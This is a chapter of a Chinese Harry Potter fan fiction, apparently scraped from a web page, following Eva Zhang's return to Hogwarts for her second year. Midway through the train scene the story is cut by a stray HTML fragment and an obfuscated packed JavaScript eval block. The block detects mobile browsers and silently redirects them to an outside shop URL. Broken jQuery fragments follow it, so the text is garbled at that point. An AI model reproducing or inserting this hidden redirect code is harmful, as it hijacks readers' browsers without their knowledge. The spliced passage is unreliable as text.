32. 二年级的雨幕

作品:《HP同人霍格沃茨上学指南

    飞机降落在希思罗机场时,伦敦正下着雨。


    不是夏天那种痛快的暴雨,是秋天那种细细密密的、黏糊糊的雨。雨丝在灰蒙蒙的天空里斜斜地飘着,把机场跑道和停机坪都打得湿漉漉的,泛着冷光。Eva透过舷窗看出去,一切都像是隔着一层薄纱。


    素雪在笼子里不安地动了动。飞机降落时的气压变化让它不舒服,琥珀色的眼睛在布罩的缝隙里闪烁着警惕的光。


    下飞机,取行李,过海关。流程和暑假前一样,只是方向反了。爸爸不在——他还在东欧,妈妈说至少还要一个月才能回来。是陈叔叔来接的她。


    “张小姐。”陈叔叔还是老样子,话很少,点点头接过行李车。


    车子驶出机场,驶入伦敦灰蒙蒙的雨幕里。雨刮器在挡风玻璃上来回摆动,发出单调的嚓嚓声。窗外的景色飞速倒退:高速路,立交桥,渐渐密集的房子,最后是熟悉的伦敦街道——只是被雨水洗过后,颜色都暗了一层。


    车子在查令十字街附近停下。陈叔叔把行李箱和猫头鹰笼子搬下来:“需要我送您进去吗?”


    “不用了,谢谢陈叔叔。”Eva说。她已经换上了校袍——深黑色的崭新长袍,料子比一年级的厚实些,袖口和领口镶着拉文克劳的蓝青铜色滚边。素雪的笼子也换了个新的,更大些,但雪鸮似乎不太喜欢,在里头焦躁地踱步。


    “那好。”陈叔叔点点头,“祝您新学期顺利。”


    车子开走了。Eva站在雨中,看着那辆黑色轿车消失在街角。雨水打在袍子上,发出轻微的噗噗声。她深吸一口气,空气里有雨水、汽车尾气和远处咖啡店飘来的淡淡香气混合的味道。


    然后她转身,推开破釜酒吧那扇油乎乎的黑门。


    里面还是老样子:昏暗,拥挤,烟味和啤酒味混在一起。几个老巫师坐在角落里,面前摆着空酒杯,正在争论什么。酒吧老板汤姆抬头看见她,咧嘴笑了,露出缺了门牙的洞。


    “哟,回来啦!霍格沃茨的?”他擦了擦手里的杯子——那块抹布看起来比去年更脏了,“后头,敲墙,你知道规矩。”


    Eva点点头,推着行李车穿过酒吧。经过柜台时,汤姆又叫住她:“对了,有个事儿——魔法部发了通知,今年新生特别多,对角巷挤得很。你最好快点,别耽误了火车。”


    “谢谢。”Eva说。


    后院还是堆着垃圾箱,气味更难闻了——雨水把腐烂的东西泡发了。她找到垃圾桶上方那块砖,抽出魔杖——紫杉木魔杖在雨天的昏暗中泛着幽深的光泽。


    哒,哒,哒。


    墙动了。砖块旋转着分开,露出那条熟悉的拱道。


    一走进对角巷,喧嚣声立刻涌过来。比去年更吵,更挤。街道上密密麻麻全是人,穿着各式各样的袍子,推着行李车,抱着课本,牵着哭闹的孩子。店铺的橱窗闪闪发亮,里面摆着新学期的商品:会自己写作业的羽毛笔(广告牌上写着“保证O.W.Ls通过!”),会自动纠错的羊皮纸,还有最新款的飞天扫帚——光轮2001,陈列在魁地奇精品店的橱窗里,闪着傲慢的光。


    Eva推着车,小心地在人群中穿行。她得先去古灵阁取钱——妈妈给了她一张取款单,说今年的生活费已经存进去了。


    古灵阁的大理石大厅里挤满了人。妖精们坐在高高的柜台后面,戴着眼镜,用细长的手指飞快地数着金币,发出叮叮当当的响声。队伍排得很长,一直排到门口。


    Eva排队时,看见前面有个熟悉的身影——红头发,旧袍子,正在和柜台里的妖精争论什么。


    “……可是账单上明明写着……”


    “抱歉,韦斯莱先生,您账户里的余额确实不够支付这些课本的费用。”妖精的声音干巴巴的,没有感情。


    是罗恩。他脸涨得通红,手里紧紧攥着一张羊皮纸清单。旁边站着金妮·韦斯莱——Eva认出来了,那个在车站见过的红头发小女孩,现在长高了些,但还是很瘦,紧紧抓着一本崭新的《标准咒语,二级》。


    “可是……可是我需要这些书……”罗恩的声音低了下去。


    Eva正好排到他身后,轻声叫了一句:“罗恩?”


    罗恩猛地转头,脸腾地红了:“Eva!我,这个……”他窘迫得说不出话,眼神躲闪。


    柜台里的妖精用细长的手指不耐烦地敲着桌面:“韦斯莱先生,请决定。后面还有很多人。”


    罗恩的脸红得发紫。Eva没再问,平静地将自己的取款单和罗恩的羊皮纸清单一起推到妖精面前:“他的书费和我的取款,请一并结算。”


    妖精那双锐利的眼睛扫过两张单子——一张余额告罄,一张数字充裕——鼻子里几不可闻地哼了一声,但手上动作麻利起来。罗恩猛地扭头看向Eva,张了张嘴,最终只挤出蚊蚋般的一声:“……我会还的。”


    “不急。”Eva接过找零和捆好的书,将沉甸甸的一摞递给他,“先拿好。”


    走出古灵阁时,雨小了些,但天空还是灰沉沉的。街道上人更多了,挤得走不动。


    “你看见清单了吗?”罗恩抱着书,努力在人流中开道,“今年的黑魔法防御术老师又换了——吉德罗·洛哈特。我妈妈可喜欢他了,买了全套他的书……”他做了个鬼脸,“贵死了。而且你看——”他抽出一本《与食尸鬼同游》,封面上是个笑容灿烂的金发巫师,牙齿白得晃眼,“这人看起来就……不靠谱。”


    Eva看了看封面。洛哈特确实笑得很灿烂,但那双蓝眼睛里有点什么东西——太亮了,太刻意了。她想起爷爷说的“看人看眼睛”,觉得这人可能不像表面上那么……完美。


    “你们买齐了吗?”她问。


    “还没,”罗恩叹气,“赫敏说她先去丽痕书店排队了——今年洛哈特的书卖疯了,好多人排队签名。哈利应该也在那儿。”


    他们沿着街道往前走。丽痕书店门口果然排着长队,一直排到街拐角。队伍里大多是女巫,从十几岁到几十岁都有,手里都捧着洛哈特的书,兴奋地交谈着。


    “梅林啊……”罗恩瞪大眼睛,“这得排到什么时候?”


    就在这时,书店里传出一阵喧哗。人群骚动起来,有人尖叫:“是洛哈特!他出来了!”


    一个金发巫师出现在书店门口——正是吉德罗·洛哈特本人。他穿着勿忘我花蓝色的长袍,笑容灿烂得像七月的太阳,朝人群挥手。闪光灯噼里啪啦地闪——是《预言家日报》的记者在拍照。


    “看看这是谁!”洛哈特的声音洪亮,带着那种表演式的热情,“哈利·波特!”


    Eva顺着他的目光看去。哈利果然在人群里,正试图躲到一个书架后面,但洛哈特大步走过去,一把搂住他的肩膀,对着镜头露出更灿烂的笑容:“真是荣幸!哈利·波特来买我的书——我想我们可以期待一篇精彩的《预言家日报》专访了!”


    哈利的脸红得像煮熟的虾,绿眼睛里写满了尴尬和无奈。罗恩在旁边憋笑憋得肩膀直抖。


    洛哈特说了几句场面话,然后开始签名售书。队伍移动得更慢了。Eva决定先去买别的东西——她的清单上还有羽毛笔、羊皮纸和新坩埚。


    在文具店,她碰到了曼蒂。


    “Eva!”曼蒂冲过来抱住她,力气大得差点把两人都撞倒,“你回来了!暑假怎么样?我给你写信了,但你没回……”


    “我爷爷让我静养,没收了猫头鹰。”Eva解释,“对不起。你妈妈身体好点了吗?”


    “好多了!”曼蒂眼睛亮亮的,“小妹妹会爬了,可闹了。你呢?江南好玩吗?”


    “挺安静的。”Eva说。她没提爸爸去东欧的事,也没提那个夏天的思考和调整。有些事,适合放在心里。


    她们一起买了文具,又去药店买了新的魔药材料。走出药店时,雨又下大了,噼里啪啦地打在鹅卵石路上。


    “糟糕,”曼蒂看着天空,“这雨一时半会儿停不了。我们得赶紧去书店——听说洛哈特快签完了。”


    回到丽痕书店时,队伍果然短了些。她们排了大概二十分钟,终于进了店。里面一片狼藉——书架上乱七八糟,地上散落着撕破的书页和包装纸。吉德罗·洛哈特还在签名,但笑容已经有点僵硬了。


    Eva按照清单找齐了洛哈特的全套著作——《与巨怪同行》《与母夜叉一起度假》《与狼人同游》……一共七本,每本都又厚又重。她看了看价格,皱起眉头——确实不便宜。


    “下一位!”书店店员喊道。


    Eva把书堆在桌上。洛哈特抬头看了她一眼,蓝眼睛在她脸上停留了一瞬——大概是对东方面孔有点好奇。然后他露出标准笑容,龙飞凤舞地签上名:“给……你叫什么名字,亲爱的?”


    “Eva Zhang。”


    “啊!一个美丽的名字!”洛哈特签完最后一本,把书推过来,“好好读,亲爱的。你会从中学到很多——比如怎么对付吸血鬼,怎么识别狼人……”他眨了眨眼,“当然,如果你需要额外的指导,随时可以来找我。我一直乐于帮助有潜力的年轻女巫。”


    Eva接过书,礼貌地点点头:“谢谢教授。”


    走出书店时,她看见哈利、罗恩和赫敏站在街对面躲雨。赫敏抱着一大摞洛哈特的书,脸上是兴奋的红晕:“他本人比照片上还要帅!而且你们听到他说的了吗?他今年会教我们真正的黑魔法防御术!”


    罗恩翻了个白眼:“得了吧,赫敏。你看他那样子,像个会打架的吗?”


    “可他书里写了那么多冒险经历……”


    “也可能是编的。”哈利小声说,揉了揉额头——Eva注意到他额上的疤痕比暑假前明显了些,那道新愈合的裂口颜色还很深。


    他们看见Eva和曼蒂,招了招手。


    “买齐了?”哈利问。


    “嗯。”Eva把沉重的书塞进行李车,“该去车站了。”


    雨越下越大。他们推着车艰难地走向破釜酒吧的后院。街道上积水了,鹅卵石路滑溜溜的,Eva好几次差点摔倒。


    回到破釜酒吧时,每个人都湿透了。袍子沉甸甸地贴在身上,头发滴着水。汤姆从柜台后面递过来几条干毛巾——虽然毛巾本身也不太干净。


    “快点快点,”他催促道,“火车还有四十分钟就开了!”


    他们用最快的速度穿过酒吧,回到麻瓜世界。查令十字街在雨中显得格外灰暗。出租车排着队,行人匆匆走过,伞撞着伞。


    国王十字车站里人声鼎沸。又是开学季,又是告别和重逢的时刻。Eva推着车穿过人群,听见各种语言混杂:英语、法语、德语,还有她听不懂的东欧语言。


    在9和10站台之间,她停下脚步。


    面前还是那堵光溜溜的瓷砖墙,能照出模糊的人影。她看见自己:黑头发湿漉漉地贴在额前,校袍湿透了颜色更深,但眼睛很平静。


    一年前,她第一次站在这里,心里满是迷茫和不安。


    现在,她知道自己要去哪儿。


    深吸一口气,握紧行李车把手。


    没有犹豫。


    加速,小跑——


    穿过那层凉凉的、有弹性的水膜。


    喧嚣声涌来。


    深红色的霍格沃茨特快横在眼前,喷着白烟。站台上挤满了人,比去年还多。猫在腿间穿梭,猫头鹰扑棱翅膀,羽毛乱飞。家长们大声叮嘱,孩子们兴奋地尖叫。


    Eva站在那儿,几秒钟没动。只是看着,听着,感受着。


    然后她低头检查行李——箱子完好,素雪的笼子也完好。雪鸮在笼子里抖了抖羽毛,水珠飞溅。


    她吐了口气,笑了。


    推着车,走向最近的车门。


    车厢里比去年更挤。她拖着湿漉漉的行李走过一节节车厢,门都关着,里面传出笑声和说话声。走了很久,终于找到一间只有两个人的包厢——是曼蒂,还有帕德玛。


    “Eva!”曼蒂招手,“快进来!我们都湿透了……”


    Eva把箱子塞进角落,在靠窗的位置坐下。素雪的笼子放在旁边,雪鸮开始用喙梳理羽毛。


    帕德玛递过来一块巧克力:“吃吗?我妈妈做的,加了印度香料。”


    巧克力是深褐色的,闻起来有肉桂和豆蔻的香味。Eva接过来,咬了一小口——甜中带辣,很特别。


    “谢谢。”她说。


    列车开动了。窗外的伦敦在雨中后退,渐渐变成田野和树林。雨还在下,打在车窗上,划出一道道水痕。


    她们聊起暑假。帕德玛说她回印度看了祖父母,那边热得不行,但食物很好吃。曼蒂说她妹妹如何闹腾,她如何帮忙换尿布。


    “你呢,Eva?”曼蒂问,“江南真的像你说的那么安静吗?”


    “嗯,”Eva点头,“很安静。每天就是打坐,读书,练字。”


    “听起来有点……无聊。”曼蒂做了个鬼脸。


    “但挺舒服的。”Eva说。这是真话。那个夏天确实让她恢复了,不只是身体,还有心。


    聊了一会儿,帕德玛开始预习草药课的书——她们二年级要学曼德拉草了,书上有详细的图解。曼蒂在整理她的洛哈特全集,把每本书按出版顺序排好。


    Eva从书包里拿出爷爷给的新绢帛笔记,翻开第一页。还是那些静心口诀,但后面多了些新的内容——关于“气”与“意”的配合,关于如何在动中守静。


    她看着那些汉字,手指无意识地摸着腕上的玉佩。玉佩温温的,和新玉牌贴在一起,两块玉的温润感相互呼应。


    窗外的雨小了些,变成细细的雨丝。田野变成山坡,远处能看见灰蒙蒙的山影。


    过了一会儿,包厢门被拉开。是秋·张,穿着拉文克劳的校袍,头发扎成利落的马尾,脸上带着笑。


    “嘿,新生们——哦,不对,现在是二年级了!”她钻进包厢,在Eva旁边坐下,“暑假怎么样?”


    她们又聊了一会儿。秋说她暑假去了法国,看了魁地奇世界杯的预选赛。“保加利亚的找球手太厉害了——虽然他们队输了,但他一个人抓了三次金色飞贼!”


    “三次?”曼蒂瞪大眼睛,“怎么可能?”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980648|193567||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    “真的!我都录下来了——用魔法相机。”秋从包里拿出一个会动的相册,翻开给她们看。照片里,一个穿着深红色队服的找球手在空中疾驰,动作快得像一道闪电。


    聊到一半,秋突然压低声音:“对了,你们听说斯莱特林的事了吗?”


    “什么事?”帕德玛问。


    “德拉科·马尔福,”秋的声音更低了,“他爸爸……卢修斯·马尔福,好像被魔法部调查了。暑假里《预言家日报》登了几篇报道,说他和一些……不太干净的事情有关。”


    Eva想起暑假前最后一次见到马尔福——他独自坐在斯莱特林长桌末端,脸色苍白,灰眼睛里那种复杂的情绪。还有更早的,禁林那晚他僵住的脸,蜘蛛幽绿的复眼,自己杖尖爆发的强光……


    “调查结果呢?”曼蒂问。


    “不知道。”秋摇头,“但开学宴会上肯定会有议论。斯莱特林那边气氛肯定很糟。”


    列车继续向北。雨停了,但天空还是阴沉沉的。窗外掠过湖泊和森林,偶尔能看到麻瓜的村庄,小小的房子像玩具一样。


    午饭时间,推着零食车的小巫婆来了。她们买了巧克力蛙、南瓜馅饼和吹宝超级泡泡糖。Eva抽到的卡片是“张道陵”——和去年一样。她把卡片收好,觉得这是个好兆头。


    下午,她们开始讨论课程。二年级的课表和一年级差不多:有变形术、魔咒、魔药、草药、魔法史、天文学,黑魔法防御术换了新老师。


    天色渐渐暗下来。列车驶入山区,隧道一个接一个。每次进入隧道,车厢里就一片漆黑,只有魔杖尖的荧光闪烁提供微弱的光。


    终于,在又一个漫长的隧道之后,列车开始减速。


    “快到了!”秋站起来,开始整理袍子,“收拾东西,准备下车。”


    站台在夜色中亮着灯,比去年更冷。海格巨大的身影站在站台尽头,提着一盏巨大的提灯,声音像打雷一样洪亮:“一年级新生!一年级新生到这边来!”


    Eva跟着二年级的学生们走向另一边。夜骐拉的马车已经等在那里了——她现在能清楚地看见它们了,那些骨瘦如柴、长着蝙蝠翅膀的黑马,眼睛空洞苍白。她知道,能看见夜骐的人,都见证过死亡。


    她想起禁林里独角兽空洞的眼,想起奇洛溃烂的脸,想起那团扑来的黑雾。


    但这次,她没有移开视线。


    马车轻晃着驶向城堡。霍格沃茨在夜色中矗立,塔楼的灯火温暖地亮着,像在迎接他们回家。


    礼堂还是老样子:成千上万支蜡烛飘在空中,天花板是深蓝色的夜空,四张长桌上摆着闪闪发光的金色餐具。但Eva注意到一些变化——教授席上,奇洛的位置空了,换成了一个金发巫师,正笑容灿烂地和麦格教授说话。是吉德罗·洛哈特。


    斯内普教授坐在老位置,黑眼睛缓缓扫视着礼堂。当他的目光扫过拉文克劳长桌,在Eva脸上停留了一瞬——很短,但Eva感觉到那种熟悉的审视。然后他移开视线,嘴唇抿得更紧了。


    邓布利多教授站起来,银白色的长胡子在烛光下闪闪发亮。


    “欢迎回来!”他的声音温和而清晰,“在开始这顿丰盛的晚餐之前,请允许我介绍一位新面孔。”


    他介绍了吉德罗·洛哈特——“我们新任的黑魔法防御术教授”。


    掌声响起,洛哈特站起来鞠了一躬,笑容灿烂得像要溢出来。


    “此外,”邓布利多继续说,表情严肃了些,“我必须提醒大家,城堡三楼靠右的走廊今年禁止进入。任何违反此规定的学生,将面临严厉处罚。”


    礼堂里响起低低的议论声。Eva看向格兰芬多长桌——哈利、罗恩和赫敏交换了一个眼神。


    然后分院仪式开始了。新生们一个接一个走上前,戴上那顶破旧的帽子。今年新生特别多,帽子唱了一首很长的新歌,讲的是四个学院的团结。


    “拉文克劳!”帽子喊道,一个黑头发的小女孩怯生生地走向蓝青铜色的长桌。


    Eva安静地看着。一年前,她也是那样走过来的。现在,她是二年级了。


    分院结束,晚宴开始。长桌上瞬间堆满了食物:烤牛肉,烤鸡,猪排,香肠,约克郡布丁,各种蔬菜,肉汁,还有成山的甜点。


    Eva小口吃着。食物还是那么美味,但她吃得不多。胃里有点紧——不是紧张,是那种重新适应热闹环境的感觉。


    晚宴快结束时,邓布利多教授再次站起来。


    “在大家回宿舍休息之前,还有几件事要通知。”他说,“第一,管理员费尔奇先生希望我提醒大家,课间不允许在走廊上使用魔法。第二,魁地奇选拔将在第二周进行,有意参加的同学请向各自学院的队长报名。”


    他顿了顿,目光扫过礼堂:“最后,我必须非常严肃地提醒大家:霍格沃茨是一所魔法学校,但魔法不是万能的。有些危险,即使是最强大的魔法也无法完全防御。请各位保持警惕,但不要过度恐慌。教授们会确保你们的安全。”


    这话让礼堂安静了几秒。Eva感觉到腕上的玉佩温温的,和平常一样。


    晚宴结束,学生们陆续离开礼堂。拉文克劳的队伍走上旋转楼梯,走向塔楼。


    鹰形门环静静地挂在橡木门上。一个七年级学生走上前,敲了敲门环。


    鹰喙张开,那个中性的、带着回音的声音响起:“什么东西越给予,自己反而越丰盈?”


    “知识。”七年级学生答道。


    “正确。”


    门开了。公共休息室里温暖明亮,壁炉里的火烧得正旺,深蓝色的地毯和青铜色的装饰在火光下泛着柔和的光泽。一切都和去年一样,但又不一样了——Eva不再是那个怯生生的新生,她知道旋转楼梯有多少级,知道哪把扶手椅最舒服,知道窗外能看到最美的星空。


    罗伯特·希利亚德站在壁炉前,脸上带着温和的笑:“欢迎回来,拉文克劳们。二年级的课表明天早餐时分发。”


    学生们三三两两地散开。Eva和曼蒂、帕德玛走上旋转楼梯,回到那间熟悉的圆形寝室。


    丽莎已经到了,正在整理行李。“梅林啊,洛哈特的书重死了……”她抱怨着,把七本厚书堆在床头。


    Eva放下箱子,走到窗边。窗外,霍格沃茨的灯火在夜色中温暖地亮着,黑湖的水面倒映着星光和塔楼的影子。远处禁林黑黝黝的,像一头沉睡的巨兽。


    她深吸一口气。空气里有城堡石头的味道,有远处厨房飘来的淡淡甜香,有羊皮纸和旧书的气味,还有那种魔法特有的噼啪感。


    回来了。


    真的回来了。


    素雪从笼子里飞出来,落在她肩上,轻轻叫了一声,像在说:到家了。


    Eva摸了摸雪鸮柔软的羽毛,笑了。


    明天要开始上课了。新的老师,新的课程,新的挑战。


    但这一次,她准备好了。


    至少,她希望自己准备好了。


    窗外的风轻轻吹过塔楼,带着初秋的凉意。


    霍格沃茨的第二学年,就这样开始了。